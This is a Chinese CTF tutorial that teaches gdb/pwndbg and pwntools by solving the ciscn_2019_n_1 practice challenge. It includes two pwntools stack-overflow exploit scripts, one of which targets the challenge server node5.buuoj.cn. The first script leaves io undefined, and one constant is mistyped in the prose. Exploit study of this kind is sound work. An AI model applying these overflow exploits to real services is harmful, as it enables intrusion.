以题目:ciscn_2019_n_1来详细学习dbg和pwntools

我们在做Linux平台下的pwn题目的时候,调试是必不可少的一步,在调试的过程中找到漏洞并用pwntools写出攻击脚本。
对于很多新手来说,Linux下的调试,也就是gdb的使用不是很熟悉,今天,我们就通过一道题目来详细学习dbg和pwntools的使用:
题目来自buuctf,pwn方向,ciscn_2019_n_1。

gdb:

我们在Linux平台下调试的时候,可以使用原生的dbg,但是很多师傅说原生的gdb用起来不是很舒服,所以我就也用的pwndbg插件。

  • 插件安装方法:(这里我使用的是Ubuntu18)
    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh

1.调试程序:

gdb 文件名
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第1张图片

2.给程序下断点:

首先,我们可以到IDA中找到想要下断点的地址,或者直接下载main函数也可以:
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第2张图片
这里注意,如果要在地址上下断点,格式为:b *地址要注意这里的*符号

3.运行程序

我们在做题的时候,可以先运行,看看程序大概流程,或者说下了断点之后,要运行到断点
start:执行到入口点函数(各种main函数)
run:运行到第一个断点处,如果没有断点,则直接跑完程序
c(Continue):继续运行
这里还要注意,如果在程序运行中使用start,则将重启程序

4.查看

我们在调试的时候,经常需要查看寄存器,地址或者查看断点,我们使用i命令:
i b:查看断点
i $eax:查看eax寄存器的值
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第3张图片
除此之外,我们还能够使用x来查看指定内存/寄存器:
x/20b $eax:查看,20字节,以byte形式,eax地址
chakan
这里要注意一下附加参数:

  1. i:反汇编
  2. b:byte形式
  3. w:word形式
  4. g:8字节形式
  5. s:以字符串形式显示

5.断点相关:

我们在调试的时候肯定需要下断点和取消断点操作
b *地址:在指定地址上下断点
i b:查看所有断点
d 序号:去掉指定序号的断点
disable 序号:禁用断点
enable 序号:启用断点
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第4张图片

6.反汇编:

disassemble:例如说:disassemble $rip:从rip开始反汇编
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第5张图片

7.执行:

单步执行:ni
单步步入:si
执行到函数返回:finish

8.最常用的指令:set(设置内存/寄存器的值)

例:set *地址 = 值
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第6张图片
可以看到,这里成功修改了内存的值。

ciscn_2019_n_1:

我们来通过这道题,看一下这道题:
我们首先来静态分析:
以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第7张图片
可以看到,这里程序的大致流程是:输出字符串,提示用户输入,用户输入,判断某个地址的值,然后分支进行执行,而且这里有后门函数,这就是非常简单的题目。
我们来通过动态调试看看,我们将断点设置在get函数之前,查看栈上的情况:
这里给出详细的过程:

  1. gdb ciscn_2019_n_1
  2. b *0x400691
  3. run
    以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第8张图片
    以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第9张图片
    可以看到,这里是将一个缓冲区的地址给到了rax(lea rax,[rbp - 0x10]),然后调用get函数
    我们来看看栈上的情况:
    以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第10张图片
    可以看到,这个缓冲区下面就是rbp,然后是返回地址,我们可以做到流程劫持
    我们再来看看静态分析:
    以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第11张图片
    我们可以看到,这里可以直接执行命令cat /flag,方式为:
    比较var_4的值,然后可以通过跳转执行,但是这个var_4是输入缓冲区的后面几个字节,我们将后面几个字节设置为预设的值,我们就可以让命令执行,拿到flag。
    所以这里就发现有两种:1.通过栈溢出劫持返回地址,2.通过输入最后的几个字节,让跳转不执行,从而执行命令cat /flag

1.通过覆盖var_4:

我们只要将var_4覆盖为41348000h即可通过验证,从而执行cat /flag,但是这里有00,我们无法输入,这时我们就要使用pwntools脚本完成了:

pwntools使用:

这里来简单介绍一下pwntools的使用:
from pwn import*:引入pwn库中的函数
io = remote("ip:,port):远程连接
payload = b'A'*(0x30 - 4) + p64(0x413480000):构造出pyload
io.sendline(payload):将构造出的payload发送到服务器
io.interactive():用于远程shell交互,由于这里不需要远程交互,这里不用
写出来的脚本:

from pwn import *
#io = remote("node5.buuoj.cn",26117)
payload = b'A'*(0x30 - 4) + p64(0x41348000)
io.recvuntil("number.\n")
io.sendline(payload)
io.interactive()

我们通过python解释器执行:
flag
可以看到我们已经拿到了flag

2.通过流程劫持

我们也可以通过栈溢出,直接覆盖返回地址,将rip指向execve(“cat /flag”),直接执行
编写脚本:

from pwn import *
#io = process("./ciscn_2019_n_1")
io = remote("node5.buuoj.cn",29936)
payload = b'A'*0x38 + p64(0x4006BE)
io.sendline(payload)
io.interactive()

以题目:ciscn_2019_n_1来详细学习dbg和pwntools_第12张图片
至此,gdb的使用和pwntools的使用就讲完了,当然,他们的高级使用远远不止这些,师傅们可以自行探索,如果在题目过程中有不理解的地方,可以私信我,当然,如果文章中有错误,还是希望大家指正,大家一起进步!!!

你可能感兴趣的:(pwn从0到1,学习)